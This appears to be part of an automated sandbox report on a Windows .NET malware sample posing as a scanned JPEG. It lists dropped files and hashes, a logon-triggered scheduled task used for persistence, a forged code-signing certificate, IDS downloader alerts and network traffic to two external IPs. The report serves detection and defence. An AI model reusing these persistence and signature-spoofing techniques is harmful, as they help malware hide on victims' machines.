Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll"

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe.log

Download File

Process:	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1415
Entropy (8bit):	5.352427679901606
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPE4KMRuAE4KzecKIE4oKNzKorE4x84j:MIHK5HKH1qHiYHKh3oPHKMRuAHKzectP
MD5:	3978978DE913FD1C068312697D6E5917
SHA1:	1DABBE7FB8F38F6EBF474CE5F0ECAA89F48E2538
SHA-256:	33B7B1668DDD3AB39711F9F93B667F6F2F674348A79228BFA163BA625B37F120
SHA-512:	78694B97F5D03758F503155E5CE5B85AABDF9690F0DFBC51FCE9926BE2D86BCF99E008659420F1E8489A7F6EA125F2776D4C6DC4B151566B529454512352953D
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Data, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Data\1b8c564fd69668e6e62d136259980d9e\System.Data.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll"

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	2232
Entropy (8bit):	5.379677338874509
Encrypted:	false
SSDEEP:	48:tWSU4xymI4RfoUeW+gZ9tK8NPZHUxL7u1iMuge//MPUyus:tLHxvIIwLgZ2KRHWLOugss
MD5:	EC88D19932BD09E055925B18791E48FB
SHA1:	AE33B55A24121EF5EAF45CE70F20D046E80D7375
SHA-256:	871612889ACB1697FAD69F6387EE3423C7BD8AAB6776DB9AB765965C48192B80
SHA-512:	1770E81F5D8017B0E17BFA03A567BFA1EEE45B18EB2E448DC2E5FD51EA92B5432B817F78AB66AC0E546663676499AA61797A72EE27204497C62B32FB73BDCAAE
Malicious:	false
Preview:	@...e.................................,..............@..........P................1]...E.....j.....(.Microsoft.PowerShell.Commands.ManagementH...............o..b~.D.poM......... .Microsoft.PowerShell.ConsoleHost0......................C.l]..7.s........System..4....................D...{..\|f........System.Core.D...............4..7..D.#V.............System.Management.Automation<...............i..VdqF...\|...........System.Configuration4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.<................t.,.lG....M...........System.Management...@................z.U..G...5.f.1........System.DirectoryServices8..................1...L..U;V.<}........System.Numerics.4.....................@.[8]'.\........System.Data.H................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<...............V.}...@...i...........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Com

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cqcx0lfj.plp.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jfvikkux.lpe.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wu4lludl.4lu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zygjjui0.t3g.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpB8C6.tmp

Download File

Process:	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.112783275053078
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaxVxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTQv
MD5:	E4BEA43D2518D4DC26A5FDAD6B972E63
SHA1:	C5772AE19C34A9967077B63365AD3D63148953F8
SHA-256:	A15CACA6172EFA881C0FA87E838F9EC4BB60B57A275762E83FB89FEA7A01C11C
SHA-512:	2E74612D1897383EDF743B0B86DACEC6435A35509F777284749C7D8146587560B8454599D0ADFE83F797664B4C4CC3078844AB347633DA8E52826192F2364CFF
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Local\Temp\tmpCB45.tmp

Download File

Process:	C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	1578
Entropy (8bit):	5.112783275053078
Encrypted:	false
SSDEEP:	24:2di4+S2qh11hXy1mvWUnrKMhEMOFGpwOzNgU3ODOiIQRvh7hwrgXuNtaxVxvn:cge1wYrFdOFzOzN33ODOiDdKrsuTQv
MD5:	E4BEA43D2518D4DC26A5FDAD6B972E63
SHA1:	C5772AE19C34A9967077B63365AD3D63148953F8
SHA-256:	A15CACA6172EFA881C0FA87E838F9EC4BB60B57A275762E83FB89FEA7A01C11C
SHA-512:	2E74612D1897383EDF743B0B86DACEC6435A35509F777284749C7D8146587560B8454599D0ADFE83F797664B4C4CC3078844AB347633DA8E52826192F2364CFF
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>.<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">. <RegistrationInfo>. <Date>2014-10-25T14:27:44.8929027</Date>. <Author>user-PC\user</Author>. </RegistrationInfo>. <Triggers>. <LogonTrigger>. <Enabled>true</Enabled>. <UserId>user-PC\user</UserId>. </LogonTrigger>. <RegistrationTrigger>. <Enabled>false</Enabled>. </RegistrationTrigger>. </Triggers>. <Principals>. <Principal id="Author">. <UserId>user-PC\user</UserId>. <LogonType>InteractiveToken</LogonType>. <RunLevel>LeastPrivilege</RunLevel>. </Principal>. </Principals>. <Settings>. <MultipleInstancesPolicy>StopExisting</MultipleInstancesPolicy>. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>. <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>. <AllowHardTerminate>false</AllowHardTerminate>. <StartWhenAvailable>true</StartWhenAvailable>. <RunOnlyIfNetworkAvail

C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe

Download File

Process:	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	835592
Entropy (8bit):	7.851572121843778
Encrypted:	false
SSDEEP:	12288:0Ixp/JUVKGUrivb8PLJ4nyF9Vy03dbkX057MIZbSXl8Y4Y+AQ17BNzsD8NE+4kXJ:HfOVKUj8TeQVy03d5QIXXVBNADepJ
MD5:	52F14C343D0B2EC1426E775C6B6569FF
SHA1:	5C61B57A86C14DE578F2425773F190DA35BE62E2
SHA-256:	5994CF17202884F994B3E294FCA7CD9C2847B6C98A0BDB5E65CF164F830197A9
SHA-512:	544359181255DD25C6A6F3A218C785AD79865C2D41B0F462664EFE4CADFF7DFDA4963811A099A5CBDE78856AF4FCF1189278E026FE77AEA0F840CD880C00A060
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x.g.................~..........N.... ........@.. ....................................@.....................................K........................6........................................................... ............... ..H............text...T\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................0.......H.......4)...r...........................................................0..A....... .........%.....(......... B........%.S...(.....T...(.........&....0..8........s....}.......{.....t....}f....(.....(.....(.........&.0..........~........E....k...>...d...........T...>....{.... .... ....(...+ w..i.!.........(.... .... ....(...+...+..,.. ..... .o..Y.+..+..{....o....(......8s........&~T....v~T....v.~.... ....._ ...._...0..........~T.....~...........E................e.......

C:\Users\user\AppData\Roaming\HJnkiZjAPsec.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.851572121843778
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.98% Win32 Executable (generic) a (10002005/4) 49.93% Windows Screen Saver (13104/52) 0.07% Win16/32 Executable Delphi generic (2074/23) 0.01% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Scan_Rev 20220731_PO&OC#88SU7782743882874_JPEG.exe
File size:	835'592 bytes
MD5:	52f14c343d0b2ec1426e775c6b6569ff
SHA1:	5c61b57a86c14de578f2425773f190da35be62e2
SHA256:	5994cf17202884f994b3e294fca7cd9c2847b6c98a0bdb5e65cf164f830197a9
SHA512:	544359181255dd25c6a6f3a218c785ad79865c2d41b0f462664efe4cadff7dfda4963811a099a5cbde78856af4fcf1189278e026fe77aea0f840cd880c00a060
SSDEEP:	12288:0Ixp/JUVKGUrivb8PLJ4nyF9Vy03dbkX057MIZbSXl8Y4Y+AQ17BNzsD8NE+4kXJ:HfOVKUj8TeQVy03d5QIXXVBNADepJ
TLSH:	9B05124C7A65A601C51E6B33CC930648A7B1894BD731F69B51DC9AE70FA9BCDC04FA83
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....x.g.................~..........N.... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4c9c4e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x671A78C2 [Thu Oct 24 16:41:38 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=COMODO RSA Code Signing CA, O=COMODO CA Limited, L=Salford, S=Greater Manchester, C=GB
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	13/11/2018 00:00:00 08/11/2021 23:59:59
Subject Chain	CN=Simon Tatham, O=Simon Tatham, L=Cambridge, S=Cambridgeshire, C=GB
Version:	3
Thumbprint MD5:	DABD77E44EF6B3BB91740FA46696B779
Thumbprint SHA-1:	5B9E273CF11941FD8C6BE3F038C4797BBE884268
Thumbprint SHA-256:	4CD3325617EBB63319BA6E8F2A74B0B8CCA58920B48D8026EBCA2C756630D570
Serial:	7C1118CBBADC95DA3752C46E47A27438

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc9c00	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xca000	0x800	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xc8a00	0x3608
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xcc000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xc7c54	0xc7e00	64c2761cc37b2c3c810d1c28909ec490	False	0.9194418386491557	data	7.8591431826748455	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xca000	0x800	0x800	ec5381d10dfe46fcc18db2a8f4ed78e4	False	0.33984375	data	3.4879933336021693	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xcc000	0xc	0x200	ddd8fbac1dd381f1bc303af5bfc9bb6a	False	0.044921875	data	0.09800417566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xca090	0x3a0	data			0.4224137931034483
RT_MANIFEST	0xca440	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-25T09:18:04.545506+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	193.122.130.0	80	TCP
2024-10-25T09:18:05.889523+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49735	193.122.130.0	80	TCP
2024-10-25T09:18:06.504984+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49738	188.114.97.3	443	TCP
2024-10-25T09:18:07.389273+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	193.122.130.0	80	TCP
2024-10-25T09:18:08.186206+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49742	193.122.130.0	80	TCP
2024-10-25T09:18:08.779937+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49743	193.122.130.0	80	TCP
2024-10-25T09:18:09.405582+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49745	188.114.97.3	443	TCP
2024-10-25T09:18:09.889320+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49742	193.122.130.0	80	TCP
2024-10-25T09:18:10.513519+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49747	188.114.97.3	443	TCP
2024-10-25T09:18:10.896570+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-25T09:18:11.264267+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49749	193.122.130.0	80	TCP
2024-10-25T09:18:11.993731+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49751	188.114.97.3	443	TCP
2024-10-25T09:18:12.481315+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-25T09:18:16.714838+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49761	188.114.97.3	443	TCP
2024-10-25T09:18:18.216321+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49767	188.114.97.3	443	TCP
2024-10-25T09:18:19.178788+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49771	188.114.97.3	443	TCP
2024-10-25T09:18:21.689635+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49775	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 09:18:02.415081978 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:02.420639992 CEST	80	49735	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:02.420799971 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:02.420911074 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:02.426645041 CEST	80	49735	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:03.298923969 CEST	80	49735	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:03.305005074 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:03.310405016 CEST	80	49735	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:04.494503975 CEST	80	49735	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:04.545506001 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:04.640729904 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:04.640775919 CEST	443	49736	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:04.640837908 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:04.669393063 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:04.669447899 CEST	443	49736	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.305022001 CEST	443	49736	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.305116892 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.316490889 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.316543102 CEST	443	49736	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.317656040 CEST	443	49736	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.358016014 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.422760963 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.467341900 CEST	443	49736	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.561542034 CEST	443	49736	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.561815023 CEST	443	49736	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.561883926 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.569827080 CEST	49736	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.574465036 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:05.579874039 CEST	80	49735	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:05.732852936 CEST	80	49735	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:05.739933968 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.739979029 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.740051985 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.740621090 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:05.740641117 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:05.889523029 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:06.362864971 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:06.365336895 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:06.365380049 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:06.505076885 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:06.505305052 CEST	443	49738	188.114.97.3	192.168.2.4
Oct 25, 2024 09:18:06.505517006 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:06.515547991 CEST	49738	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:06.522361040 CEST	49740	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:06.522361994 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:06.528230906 CEST	80	49735	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:06.528578997 CEST	80	49740	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:06.528584957 CEST	49735	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:06.528830051 CEST	49740	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:06.529268026 CEST	49740	80	192.168.2.4	193.122.130.0
Oct 25, 2024 09:18:06.535057068 CEST	80	49740	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:07.213610888 CEST	80	49740	193.122.130.0	192.168.2.4
Oct 25, 2024 09:18:07.215579033 CEST	49741	443	192.168.2.4	188.114.97.3
Oct 25, 2024 09:18:07.215614080 CEST	443	49741	188.114.97.3	192.168.2.4
